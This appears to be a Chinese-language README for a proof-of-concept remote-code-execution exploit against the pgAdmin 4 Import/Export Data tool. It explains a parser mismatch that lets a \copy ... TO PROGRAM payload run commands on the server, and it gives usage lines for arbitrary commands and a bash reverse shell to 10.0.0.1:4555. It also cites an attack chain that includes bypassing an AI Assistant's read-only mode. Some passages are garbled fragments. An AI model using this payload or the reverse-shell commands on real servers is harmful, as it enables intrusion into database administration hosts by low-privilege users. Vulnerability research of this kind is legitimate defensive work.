pgAdmin 4 Import/Export Data 工具远程代码执行 PoC。利用 _is_query_parens_balanced() 括号检查器与 psql 的反斜杠转义语义分歧,注入 \copy ... TO PROGRAM 在运行 pgAdmin 的服务器上执行任意命令。
背景攻击链:CVE-2026-17349(Workspaces 凭据泄露)→ CVE-2026-17351(AI Assistant 只读绕过)→ 本漏洞(RCE)。三者均只需低权限已认证用户。
Import/Export Data 工具把用户 SQL 插进 Jinja 模板构造 psql \copy (...) 命令。手写的括号平衡检查器始终把 \' 当作转义引号(仅当 standard_conforming_strings=off 时正确);而 PostgreSQL 默认 standard_conforming_strings=on 时,psql 把反斜杠当普通字符,引号直接闭合。
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
检查器认为 ) 还在字符串里 → 括号"平衡"通过;psql 在 a\' 处闭合字符串,) 结束 \copy (...) 包裹,TO PROGRAM 'cmd' 成为活的指令,由 psql 的 popen() 执行。
_is_query_parens_balanced() 引入起);修复 commit 1496fabeTO PROGRAM 注入,同族)tools_import_export_data 权限)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
流程:登录(自动处理 CSRF/session)→ 枚举服务器 → POST /import_export/job/<sid> 提交构造的 is_query_export 请求。
仅供安全研究、漏洞验证与防御性测试使用。本脚本基于公开技术分析编写,未经真机验证,请求字段可能需按目标 pgAdmin 版本微调。请在授权测试环境运行,勿对未授权系统使用。
| 参数 | 说明 |
|---|
--url | pgAdmin 基础 URL |
--user / --password(或 PGADMIN_PASSWORD) | 低权限账户 |
--command | 任意命令(不能含单引号) |
--reverse HOST:PORT | 生成 bash 反向 shell |
--server-id | 服务器 ID(默认自动取第一个) |
--file | 导出文件名(构造 \copy 命令用,默认 /tmp/pgadmin_export.csv) |
--no-verify | 跳过 TLS 证书校验 |